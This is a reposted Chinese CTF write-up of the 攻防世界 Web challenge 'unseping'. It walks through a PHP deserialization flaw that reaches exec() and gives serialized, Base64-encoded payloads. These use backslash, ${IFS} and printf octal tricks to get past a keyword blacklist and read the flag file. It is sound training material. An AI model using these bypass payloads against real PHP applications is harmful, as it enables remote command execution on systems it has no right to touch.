首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

攻防世界 - Web - Level 1 | unseping

  • 25-02-16 18:00
  • 3436
  • 14040
blog.csdn.net

关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客

0x01:Write UP

本关是一个 PHP 代码审计关卡,考察的是 PHP 反序列化漏洞以及命令执行的一些绕过手段,下面笔者将带你一步步过关。

代码审计,首先定位题目中的敏感函数,笔者这里定位到了如下函数:

  1.  function ping($ip){
  2.      exec($ip, $result); // exec 执行 $ip 传递来的命令,并将结果写入到 $result 中
  3.      var_dump($result);  // 展示 $result 的内容
  4.  }

看到 exec() 可以很容易想到本关的考察点就是命令执行漏洞。继续逆向审计,看看哪里有机会调用 ping() 函数,笔者将目光放到了这里:

  1.  // __destruct() 当对象销毁时触发
  2.  function __destruct(){
  3.      // 如果 $this->method 为 ping 则会进入函数调用
  4.      if (in_array($this->method, array("ping"))) {
  5.          // call_user_func_array => 调用回调函数,并把 $this->args 数组传递过去作为参数
  6.          call_user_func_array(array($this, $this->method), $this->args);
  7.     }
  8.  }

结合上面两个函数,很明显,我们要生成一个对象,并给这个对象的 $this->method 赋值为 ping,让其调用 function ping($ip) 函数,如果成功那么 $this->args 里就可以是我们赋值给它的任意的命令。

下面我们来看看题目类的构造方法(初始化方法):

  1.  function __construct($method, $args) { // 构造方法,接收两个传参
  2.      $this->method = $method; // 将 $method 传递到 $this->method 中
  3.      $this->args = $args; // 将 $args 传递到 $this->args
  4.  }

通过之前的分析,我们知道了,$method 我们要赋值为 ping,$this->args 中就是我们进行命令执行的参数,我们的目标是获取 Flag,但是目前我们连 Flag 的位置都不知道,所以首先我们肯定是要先检查目标当前文件夹下的文件有啥的,所以我们想要执行的命令为 ls,即列出目标当前目录下的内容。这里还有一个注意点,$this->args 传递的是一个数组类型的数据,为啥?我们先来看一下 call_user_func_array() 函数的定义:

PHP 官方文档中写名的,该函数第一个接收的是回调函数,第二个接收的是参数数组。

所以,基于前面的一套分析,我们可以得出,我们需要实例化一个这样的对象:

 $ctf = new ease('ping', array('ls'));

所以,我们最终的题解模板程序如下所示:

  1.  
  2.  class ease{
  3.      
  4.      private $method;
  5.      private $args;
  6.      function __construct($method, $args) {
  7.          $this->method = $method;
  8.          $this->args = $args;
  9.     }
  10.  
  11.      function __destruct(){
  12.          if (in_array($this->method, array("ping"))) { // 如果 $this->method 为 ping 则进行调用
  13.              call_user_func_array(array($this, $this->method), $this->args); // 调用回调函数 $this->args 是传参
  14.              // $this 即 ease 这个对象, $this->method 你想要调用的 ease 类中的函数名 => ping
  15.         }
  16.     }
  17.  
  18.      function ping($ip){
  19.          exec($ip, $result); // 让 exec 执行我们传入的命令,并将结果传入 $result 中
  20.          var_dump($result);  // 展示结果 => 考点,命令执行
  21.     }
  22.  ​
  23.      function waf($str){
  24.          if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
  25.              return $str;
  26.         } else {
  27.              echo "don't hack";
  28.         }
  29.     }
  30.  
  31.      function __wakeup(){ // 执行 unserialize 调用此方法
  32.          foreach($this->args as $k => $v) {
  33.              $this->args[$k] = $this->waf($v);
  34.         }
  35.     }  
  36.  }
  37.  ​
  38.  $ctf = new ease('ping', array('ls'));
  39.  echo base64_encode(serialize($ctf)); // 运行代码,这里会显示序列化解
  40.  echo "\n";
  41.  // $ctf=@$_POST['ctf'];
  42.  // @unserialize(base64_decode($ctf));
  43.  ?>

下面我们一步一步为我们的命令执行扫清障碍。通过上面的题解代码,运行后我们会得到一个进行 Base64 编码后的 ease 对象的序列化内容,当目标服务端接收后,会执行反序列化操作。

首先进入 __wakeup() 函数,该函数会调用 waf() 方法,将我们传递的 array() 数组中的每一个元素都过一遍 WAF,如果出现黑名单字符,就会输出 don't hack,反之则会返回。

我们将要执行的 ls 很明显在黑名单中,绕过很简单,使用 \ 即可,在 Linux 操作系统中 ls 与 l\s 是等价的:

所以,我们可以使用如下对象构建序列化内容执行 ls 命令:

  1.  $ctf = new ease('ping', array('l\s'));
  2.  echo base64_encode(serialize($ctf));
  3.  // 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319

如上,我们成功得到了 Flag 的存放地址,此时注意了页面显示的 flag_1s_here 是个文件夹不是文件哦(笔者偷懒少测一步,不信你 cat 一下这个文件,你啥也读不到,还会怀疑自己)。

知道了 Flag 存放的文件夹,下面我们要去读取这个文件夹下面的内容,使用 l\s flag_1s_here 构建序列化内容读取?你会发现,上面那个命令中空格与 flag 都是黑名单内容,这里又考察了命令执行的空格绕过。在 Linux 系统中,我们可以使用 ${IFS}进行空格的绕过。所以修改后的 Payload 如下:

  1.  $ctf = new ease('ping', array('l\s${IFS}f\lag_1s_here'));
  2.  echo base64_encode(serialize($ctf));
  3.  // 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMjoibFxzJHtJRlN9ZlxsYWdfMXNfaGVyZSI7fX0=

至此,我们已经成功获得 Flag 的文件地址:

 flag_1s_here/flag_831b69012c67b35f.php

然后问题又来了,/ 也被过滤了。咋搞,这里我们需要使用 Linux 内联代码进行绕过,先来看个 / 的等价写法:

所以我们最终的题解 Payload 如下:

  1.  $ctf = new ease('ping', array('c\at${IFS}f\lag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp'));
  2.  echo base64_encode(serialize($ctf));
  3.  // 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MDoiY1xhdCR7SUZTfWZcbGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZcbGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0=

0x02:参考链接

$IFS - A思 - 博客园$IFS 是linux中的命令 $IFS默认指定space,tab,换行 也可以自己指定$IFS,例:IFS='&' $IFS可以把多个符号和并,如下: mm=11&&22&&33, echo $mm; //11 22 33,实际是11&https://www.cnblogs.com/AAsisi/p/16316774.html
shell中的$IFS变量和$*-CSDN博客文章浏览阅读5.4k次,点赞7次,收藏21次。IFS表示 Internal Field Separator(内部字段分隔符)_$ifshttp://iyenn.com/rec/1646246.html
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/144337361"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2491) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top